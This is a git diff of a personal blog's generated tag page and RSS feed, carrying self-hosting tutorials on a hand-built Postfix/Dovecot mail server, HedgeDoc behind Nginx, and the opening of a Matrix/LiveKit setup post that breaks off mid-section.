    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/self-hosting/index.xml b/public-clearnet/tags/self-hosting/index.xml new file mode 100644 index 0000000..d7ce704 --- /dev/null +++ b/public-clearnet/tags/self-hosting/index.xml @@ -0,0 +1,648 @@ +Self-Hosting on AlipourIm journeyshttps://blog.alipour.eu/tags/self-hosting/Recent content in Self-Hosting on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttps://blog.alipour.eu/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

